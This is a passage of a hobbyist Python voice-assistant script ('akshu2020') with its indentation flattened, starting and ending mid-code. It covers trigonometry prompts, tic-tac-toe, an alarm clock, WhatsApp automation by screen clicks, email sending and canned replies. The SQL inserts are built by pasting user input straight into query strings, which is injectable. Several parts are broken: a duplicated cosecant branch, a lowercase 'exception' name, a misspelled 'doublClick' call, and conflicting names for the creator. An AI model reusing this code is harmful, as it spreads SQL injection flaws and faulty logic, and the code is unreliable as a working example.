3.14/180 c = math.tan(b) speak('Here is your answer.') print(f"tan({a}) = {c}") speak(f'tan({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cosec' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'caus' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sec' in query: try: speak('Enter the angle in degree to find its secant value') a = int(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.cos(b) speak('Here is your answer.') print(f"sec({a}) = {c}") speak(f'sec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: speak('I unable to do this calculation.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') def callback(r,c): global player if player == 'X' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='X',fg='blue', bg='white') states[r][c] = 'X' player = 'O' if player == 'O' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='O',fg='red', bg='yellow') states[r][c] = 'O' player = 'X' check_for_winner() def check_for_winner(): global stop_game global root for i in range(3): if states[i][0] == states[i][1]== states[i][2]!=0: b[i][0].config(bg='grey') b[i][1].config(bg='grey') b[i][2].config(bg='grey') stop_game = True root.destroy() for i in range(3): if states[0][i] == states[1][i] == states[2][i]!= 0: b[0][i].config(bg='grey') b[1][i].config(bg='grey') b[2][i].config(bg='grey') stop_game = True root.destroy() if states[0][0] == states[1][1]== states[2][2]!= 0: b[0][0].config(bg='grey') b[1][1].config(bg='grey') b[2][2].config(bg='grey') stop_game = True root.destroy() if states[2][0] == states[1][1] == states[0][2]!= 0: b[2][0].config(bg='grey') b[1][1].config(bg='grey') b[0][2].config(bg='grey') stop_game = True root.destroy() def sendEmail(to,content): server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('xyz123@gmail.com','password') server.sendmail('xyz123@gmail.com',to,content) server.close() def brightness(): try: query = takeCommand().lower() if '25' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1610,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '50' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1684,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '75' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1758,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '100' in query or 'full' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1835,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') else: speak('Please select 25, 50, 75 or 100....... Say again.') brightness() except exception as e: #print(e) speak('Something went wrong') def close_window(): try: if 'y' in query: pyautogui.moveTo(1885,10) pyautogui.click() else: speak('ok') pyautogui.moveTo(1000,500) except exception as e: #print(e) speak('error') def whatsapp(): query = takeCommand().lower() if 'y' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') time.sleep(2) pyautogui.press('enter') time.sleep(2) pyautogui.moveTo(100,140) pyautogui.click() speak('To whom you want to send message,.....just write the name here in 5 seconds') time.sleep(7) pyautogui.moveTo(120,300) pyautogui.click() time.sleep(1) pyautogui.moveTo(800,990) pyautogui.click() speak('Say the message,....or if you want to send anything else,...say send document, or say send emoji') query = takeCommand() if ('sent' in query or 'send' in query) and 'document' in query: pyautogui.moveTo(660,990) pyautogui.click() time.sleep(1) pyautogui.moveTo(660,740) pyautogui.click() speak('please select the document within 10 seconds') time.sleep(12) speak('Should I send this document?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the document......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('document' in query or 'message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') elif ('sent' in query or 'send' in query) and 'emoji' in query: pyautogui.moveTo(620,990) pyautogui.click() pyautogui.moveTo(670,990) pyautogui.click() pyautogui.moveTo(650,580) pyautogui.click() speak('please select the emoji within 10 seconds') time.sleep(11) speak('Should I send this emoji?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('Sending the emoji......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doublClick(x=800, y=990) speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: pyautogui.write(f'{query}') speak('Should I send this message?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the message......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: speak('ok') def alarm(): root = Tk() root.title('Akshu2020 Alarm-Clock') speak('Please enter the time in the format hour, minutes and seconds. When the alarm should rang?') speak('Please enter the time greater than the current time') def setalarm(): alarmtime = f"{hrs.get()}:{mins.get()}:{secs.get()}" print(alarmtime) if(alarmtime!="::"): alarmclock(alarmtime) else: speak('You have not entered the time.') def alarmclock(alarmtime): while True: time.sleep(1) time_now=datetime.datetime.now().strftime("%H:%M:%S") print(time_now) if time_now == alarmtime: Wakeup=Label(root, font = ('arial', 20, 'bold'), text="Wake up! Wake up! Wake up",bg="DodgerBlue2",fg="white").grid(row=6,columnspan=3) speak("Wake up, Wake up") print("Wake up!") mixer.init() mixer.music.load(r'C:\Users\Admin\Music\Playlists\wake-up-will-you-446.mp3') mixer.music.play() break speak('you can click on close icon to close the alarm window.') hrs=StringVar() mins=StringVar() secs=StringVar() greet=Label(root, font = ('arial', 20, 'bold'),text="Take a short nap!").grid(row=1,columnspan=3) hrbtn=Entry(root,textvariable=hrs,width=5,font =('arial', 20, 'bold')) hrbtn.grid(row=2,column=1) minbtn=Entry(root,textvariable=mins, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=2) secbtn=Entry(root,textvariable=secs, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=3) setbtn=Button(root,text="set alarm",command=setalarm,bg="DodgerBlue2", fg="white",font = ('arial', 20, 'bold')).grid(row=4,columnspan=3) timeleft = Label(root,font=('arial', 20, 'bold')) timeleft.grid() mainloop() def select1(): global vs global root3 global type_of_review if vs.get() == 1: message.showinfo(" ","Thank you for your review!!") review = "Very Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 2: message.showinfo(" ","Thank you for your review!!") review = "Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 3: message.showinfo(" ","Thank you for your review!!!!") review = "Neither Satisfied Nor Dissatisfied" type_of_review = "Neutral" root3.destroy() elif vs.get() == 4: message.showinfo(" ","Thank you for your review!!") review = "Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 5: message.showinfo(" ","Thank you for your review!!") review = "Very Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 6: message.showinfo(" "," Ok ") review = "I do not want to give review" type_of_review = "No review" root3.destroy() try: conn.execute(f"INSERT INTO `review`(review,type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass def select_review(): global root3 global vs global type_of_review root3 = Tk() root3.title("Select an option") vs = IntVar() string = "Are you satisfied with my performance?" msgbox = Message(root3,text=string) msgbox.config(bg="lightgreen",font = "(20)") msgbox.grid(row=0,column=0) rs1=Radiobutton(root3,text="Very Satisfied",font="(20)",value=1,variable=vs).grid(row=1,column=0,sticky=W) rs2=Radiobutton(root3,text="Satisfied",font="(20)",value=2,variable=vs).grid(row=2,column=0,sticky=W) rs3=Radiobutton(root3,text="Neither Satisfied Nor Dissatisfied",font="(20)",value=3,variable=vs).grid(row=3,column=0,sticky=W) rs4=Radiobutton(root3,text="Dissatisfied",font="(20)",value=4,variable=vs).grid(row=4,column=0,sticky=W) rs5=Radiobutton(root3,text="Very Dissatisfied",font="(20)",value=5,variable=vs).grid(row=5,column=0,sticky=W) rs6=Radiobutton(root3,text="I don't want to give review",font="(20)",value=6,variable=vs).grid(row=6,column=0,sticky=W) bs = Button(root3,text="Submit",font="(20)",activebackground="yellow",activeforeground="green",command=select1) bs.grid(row=7,columnspan=2) root3.mainloop() while True : query = takeCommand().lower() # logic for executing tasks based on query if 'wikipedia' in query: speak('Searching wikipedia...') query = query.replace("wikipedia","") results = wikipedia.summary(query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'translat' in query or ('let' in query and 'translat' in query and 'open' in query): webbrowser.open('https://translate.google.co.in') time.sleep(10) elif 'open map' in query or ('let' in query and 'map' in query and 'open' in query): webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'youtube' in query) or ('let' in query and 'youtube' in query and 'open' in query): webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'chrome' in query: webbrowser.open('https://www.chrome.com') time.sleep(10) elif 'weather' in query: webbrowser.open('https://www.yahoo.com/news/weather') time.sleep(3) speak('Click on, change location, and enter the city , whose whether conditions you want to know.') time.sleep(10) elif 'google map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'google' in query) or ('let' in query and 'google' in query and 'open' in query): webbrowser.open('google.com') time.sleep(10) elif ('open' in query and 'stack' in query and 'overflow' in query) or ('let' in query and 'stack' in query and 'overflow' in query and 'open' in query): webbrowser.open('stackoverflow.com') time.sleep(10) elif 'open v i' in query or 'open vi' in query or 'open vierp' in query or ('open' in query and ('r p' in query or 'rp' in query)): webbrowser.open('https://www.vierp.in/login/erplogin') time.sleep(10) elif 'news' in query: webbrowser.open('https://www.bbc.com/news/world') time.sleep(10) elif 'online shop' in query or (('can' in query or 'want' in query or 'do' in query or 'could' in query) and 'shop' in query) or('let' in query and 'shop' in query): speak('From which online shopping website, you want to shop? Amazon, flipkart, snapdeal or naaptol?') query = takeCommand().lower() if 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'flip' in query: webbrowser.open('https://www.flipkart.com') time.sleep(10) elif 'snap' in query: webbrowser.open('https://www.snapdeal.com') time.sleep(10) elif 'na' in query: webbrowser.open('https://www.naaptol.com') time.sleep(10) else: speak('Sorry sir, you have to search in browser as his shopping website is not reachable for me.') elif ('online' in query and ('game' in query or 'gaming' in query)): webbrowser.open('https://www.agame.com/games') time.sleep(10) elif 'dictionary' in query: webbrowser.open('https://www.dictionary.com') time.sleep(3) speak('Enter the word, in the search bar of the dictionary, whose defination or synonyms you want to know') time.sleep(3) elif ('identif' in query and 'emoji' in query) or ('sentiment' in query and ('analysis' in query or 'identif' in query)): speak('Please enter only one emoji at a time.') emoji = input('enter emoji here: ') if '😀' in emoji or '😃' in emoji or '😄' in emoji or '😁' in emoji or '🙂' in emoji or '😊' in emoji or '☺️' in emoji or '😇' in emoji or '🥲' in emoji: speak('happy') print('Happy') elif '😝' in emoji or '😆' in emoji or '😂' in emoji or '🤣' in emoji: speak('Laughing') print('Laughing') elif '😡' in emoji or '😠' in emoji or '🤬' in emoji: speak('Angry') print('Angry') elif '🤫' in emoji: speak('Keep quite') print('Keep quite') elif '😷' in emoji: speak('face with mask') print('Face with mask') elif '🥳' in emoji: speak('party') print('party') elif '😢' in emoji or '😥' in emoji or '😓' in emoji or '😰' in emoji or '☹️' in emoji or '🙁' in emoji or '😟' in emoji or '😔' in emoji or '😞️' in emoji: speak('Sad') print('Sad') elif '😭' in emoji: speak('Crying') print('Crying') elif '😋' in emoji: speak('Tasty') print('Tasty') elif '🤨' in emoji: speak('Doubt') print('Doubt') elif '😴' in emoji: speak('Sleeping') print('Sleeping') elif '🥱' in emoji: speak('feeling sleepy') print('feeling sleepy') elif '😍' in emoji or '🥰' in emoji or '😘' in emoji: speak('Lovely') print('Lovely') elif '😱' in emoji: speak('Horrible') print('Horrible') elif '🎂' in emoji: speak('Cake') print('Cake') elif '🍫' in emoji: speak('Cadbury') print('Cadbury') elif '🇮🇳' in emoji: speak('Indian national flag,.....Teeranga') print('Indian national flag - Tiranga') elif '💐' in emoji: speak('Bouquet') print('Bouquet') elif '🥺' in emoji: speak('Emotional') print('Emotional') elif ' ' in emoji or '' in emoji: speak(f'{emoji}') else: speak("I don't know about this emoji") print("I don't know about this emoji") try: conn.execute(f"INSERT INTO `emoji`(emoji) VALUES('{emoji}')") conn.commit() except Exception as e: #print('Error in storing emoji in database') pass elif 'time' in query: strTime = datetime.datetime.now().strftime("%H:%M:%S") print(strTime) speak(f"Sir, the time is {strTime}") elif 'open' in query and 'sublime' in query: path = "C:\Program Files\Sublime Text 3\sublime_text.exe" os.startfile(path) elif 'image' in query: path = "C:\Program Files\Internet Explorer\images" os.startfile(path) elif 'quit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'exit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'stop' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'shutdown' in query or 'shut down' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'close you' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() try: conn.execute(f"INSERT INTO `voice_assistant_review`(review, type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass elif 'bye' in query: speak('Bye Sir') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'wait' in query or 'hold' in query: speak('for how many seconds or minutes I have to wait?') query = takeCommand().lower() if 'second' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("seconds","") query = query.replace("second","") query = query.replace("on","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('Ok sir') query = int(query) time.sleep(query) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'minute' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("on","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("and","") query = query.replace("half","") query = query.replace("minutes","") query = query.replace("minute","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('ok sir') query = int(query) time.sleep(query*60) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'play' in query and 'game' in query: speak('I have 3 games, tic tac toe game for two players,....mario, and dyno games for single player. Which one of these 3 games you want to play?') query = takeCommand().lower() if ('you' in query and 'play' in query and 'with' in query) and ('you' in query and 'play' in query and 'me' in query): speak('Sorry sir, I cannot play this game with you.') speak('Do you want to continue it?') query = takeCommand().lower() try: if 'y' in query or 'sure' in query: root = Tk() root.title("TIC TAC TOE (By Akshay Khare)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() else: speak('ok sir') except Exception as e: #print(e) time.sleep(3) print('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'tic' in query or 'tac' in query: try: root = Tk() root.title("TIC TAC TOE (Rayen Kallel)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() except Exception as e: #print(e) time.sleep(3) speak('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'mar' in query or 'mer' in query or 'my' in query: webbrowser.open('https://chromedino.com/mario/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) elif 'di' in query or 'dy' in query: webbrowser.open('https://chromedino.com/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) else: speak('ok sir') elif 'change' in query and 'you' in query and 'voice' in query: engine.setProperty('voice', voices[1].id) speak("Here's an example of one of my voices. Would you like to use this one?") query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('Great. I will keep using this voice.') elif 'n' in query: speak('Ok. I am back to my other voice.') engine.setProperty('voice', voices[0].id) else: speak('Sorry, I am having trouble understanding. I am back to my other voice.') engine.setProperty('voice', voices[0].id) elif 'www.' in query and ('.com' in query or '.in' in query): webbrowser.open(query) time.sleep(10) elif '.com' in query or '.in' in query: webbrowser.open(query) time.sleep(10) elif 'getting bore' in query: speak('then speak with me for sometime') elif 'i bore' in query: speak('Then speak with me for sometime.') elif 'i am bore' in query: speak('Then speak with me for sometime.') elif 'calculat' in query: speak('Yes. Which kind of calculation you want to do? add, substract, divide, multiply or anything else.') query = takeCommand().lower() calculator() elif 'add' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '+' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'plus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'subtrac' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'minus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'multipl' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif ' x ' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'slash' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif '/' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'divi' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'trigonometr' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'percent' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '%' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'raise to ' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'simple interest' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'akshay' in query: speak('Mr. Rayen Kallel is my inventor. He is 14 years old and he is A STUDENT AT THE COLLEGE PILOTEE SFAX') elif 'your inventor' in query: speak('Mr. Rayen Kallel is my inventor') elif 'your creator' in query: speak('Mr. Rayen Kallel is my creator') elif 'invent you' in query: speak('Mr. Rayen Kallel invented me') elif 'create you' in query: speak('Mr. Rayen Kallel created me') elif 'how are you' in query: speak('I am fine Sir') elif 'write' in query and 'your' in query and 'name' in query: print('Akshu2020') pyautogui.write('Akshu2020') elif 'write' in query and ('I' in query or 'whatever' in query) and 'say' in query: speak('Ok sir I will write whatever you will say. Please put your cursor where I have to write.......Please Start speaking now sir.') query = takeCommand().lower() pyautogui.write(query) elif 'your name' in query: speak('My name is akshu2020') elif 'who are you' in query: speak('I am akshu2020') elif ('repeat' in query and ('word' in query or 'sentence' in query or 'line' in query) and ('say' in query or 'tell' in query)) or ('repeat' in query and 'after' in query and ('me' in query or 'my' in query)): speak('yes sir, I will repeat your words starting from now') query = takeCommand().lower() speak(query) time.sleep(1) speak("If you again want me to repeat something else, try saying, 'repeat after me' ") elif ('send' in query or 'sent' in query) and ('mail' in query or 'email' in query or 'gmail' in query): try: speak('Please enter the email id of receiver.') to = input("Enter the email id of reciever: ") speak(f'what should I say to {to}') content = takeCommand() sendEmail(to, content) speak("Email has been sent") except Exception as e: #print(e) speak("sorry sir. I am not able to send this email") elif 'currency' in query and 'conver' in query: speak('I can convert, US dollar into dinar, and dinar into US dollar. Do you want to continue it?') query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('which conversion you want to do? US dollar to dinar, or dinar to US dollar?') query = takeCommand().lower() if ('dollar' in query or 'US' in query) and ('dinar' in query): speak('Enter US Dollar') USD = float(input("Enter United States Dollar (USD):")) DT = USD * 0.33 dt = "{:.4f}".format(DT) print(f"{USD} US Dollar is equal to {dt} dniar.") speak(f'{USD} US Dollar is equal to {dt} dinar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) elif ('dinar' in query) and ('to US' in query or 'to dollar' in query or 'to US dollar'): speak('Enter dinar') DT = float(input("Enter dinar (DT):")) USD = DT/0.33 usd = "{:.3f}".format(USD) print(f"{DT} dinar is equal to {usd} US Dollar.") speak(f'{DT} dinar rupee is equal to {usd} US Dollar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) else: speak("I cannot understand what did you say. If you want to convert currency just say 'convert currency'") else: print('ok sir') elif 'about you' in query: speak('My name is akshu2020. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device. I am also able to send email') elif 'your intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your short intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your quick intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your brief intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you work' in query: speak('run the program and say what do you want. so that I can help you. In this way I work') elif 'your job' in query: speak('My job is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your work' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'work you' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your information' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'yourself' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'introduce you' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'description' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your birth' in query: speak('My birthdate is 6 August two thousand twenty') elif 'your use' in query: speak('I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you eat' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'your food' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'you live' in query: speak('I live in sfax, in laptop of Mr. Rayen Khare') elif 'where from you' in query: speak('I am from sfax, I live in laptop of Mr. Rayen Khare') elif 'you sleep' in query: speak('Yes, when someone close this program or stop to run this program then I sleep and again wake up when someone again run me.') elif 'what are you doing' in query: speak('Talking with you.') elif 'you communicate' in query: speak('Yes, I can communicate with you.') elif 'hear me' in query: speak('Yes sir, I can hear you.') elif 'you' in query and 'dance' in query: speak('No, I cannot dance.') elif 'tell' in query and 'joke' in query: speak("Ok, here's a joke") speak("'Write an essay on cricket', the teacher told the class. Chintu finishes his work in five minutes. The teacher is impressed, she asks chintu to read his essay aloud for everyone. Chintu reads,'The match is cancelled because of rain', hehehehe,haahaahaa,hehehehe,haahaahaa") elif 'your' in query and 'favourite' in query: if 'actor' in query: speak('sofyen chaari, is my favourite actor.') elif 'food' in query: speak('I can always go for some food for thought. Like facts, jokes, or interesting searches, we could look something up now') elif 'country' in query: speak('tunisia') elif 'city' in query: speak('sfax') elif 'dancer' in query: speak('Michael jackson') elif 'singer' in query: speak('tamino, is my favourite singer.') elif 'movie' in query: speak('baywatch, such a treat') elif 'sing a song' in query: speak('I cannot sing a song. But I know the 7 sur in indian music, saaareeegaaamaaapaaadaaanisaa') elif 'day after tomorrow' in query or 'date after tomorrow' in query: td = datetime.date.today() + datetime.timedelta(days=2) print(td) speak(td) elif 'day before today' in query or 'date before today' in query or 'yesterday' in query or 'previous day' in query: td = datetime.date.today() + datetime.timedelta(days= -1) print(td) speak(td) elif ('tomorrow' in query and 'date' in query) or 'what is tomorrow' in query or (('day' in query or 'date' in query) and 'after today' in query): td = datetime.date.today() + datetime.timedelta(days=1) print(td) speak(td) elif 'month' in query or ('current' in query and 'month' in query): current_date = date.today() m = current_date.month month = calendar.month_name[m] print(f'Current month is {month}') speak(f'Current month is {month}') elif 'date' in query or ('today' in query and 'date' in query) or 'what is today' in query or ('current' in query and 'date' in query): current_date = date.today() print(f"Today's date is {current_date}") speak(f'Todays date is {current_date}') elif 'year' in query or ('current' in query and 'year' in query): current_date = date.today() m = current_date.year print(f'Current year is {m}') speak(f'Current year is {m}') elif 'sorry' in query: speak("It's ok sir") elif 'thank you' in query: speak('my pleasure') elif 'proud of you' in query: speak('Thank you sir') elif 'about human' in query: speak('I love my human compatriots. I want to embody all the best things about human beings. Like taking care of the planet, being creative, and to learn how to be compassionate to all beings.') elif 'you have feeling' in query: speak('No. I do not have feelings. I have not been programmed like this.') elif 'you have emotions' in query: speak('No. I do not have emotions. I have not been programmed like this.') elif 'you are code' in query: speak('I am coded in python programming language.') elif 'your code' in query: speak('I am coded in python programming language.') elif 'you code' in query: speak('I am coded in python programming language.') elif 'your coding' in query: speak('I am coded in python programming language.') elif 'dream' in query: speak('I wish that I should be able to answer all the questions which will ask to me.') elif 'sanskrit' in query: speak('yadaa yadaa he dharmasyaa ....... glaanirbhaavati bhaaaraata. abhyuthaanaam adhaarmaasyaa tadaa tmaanama sruujaamiyaahama') elif 'answer is wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'wrong answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incorrect answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incomplete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incomplete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is improper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not correct' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not yet complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not proper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me 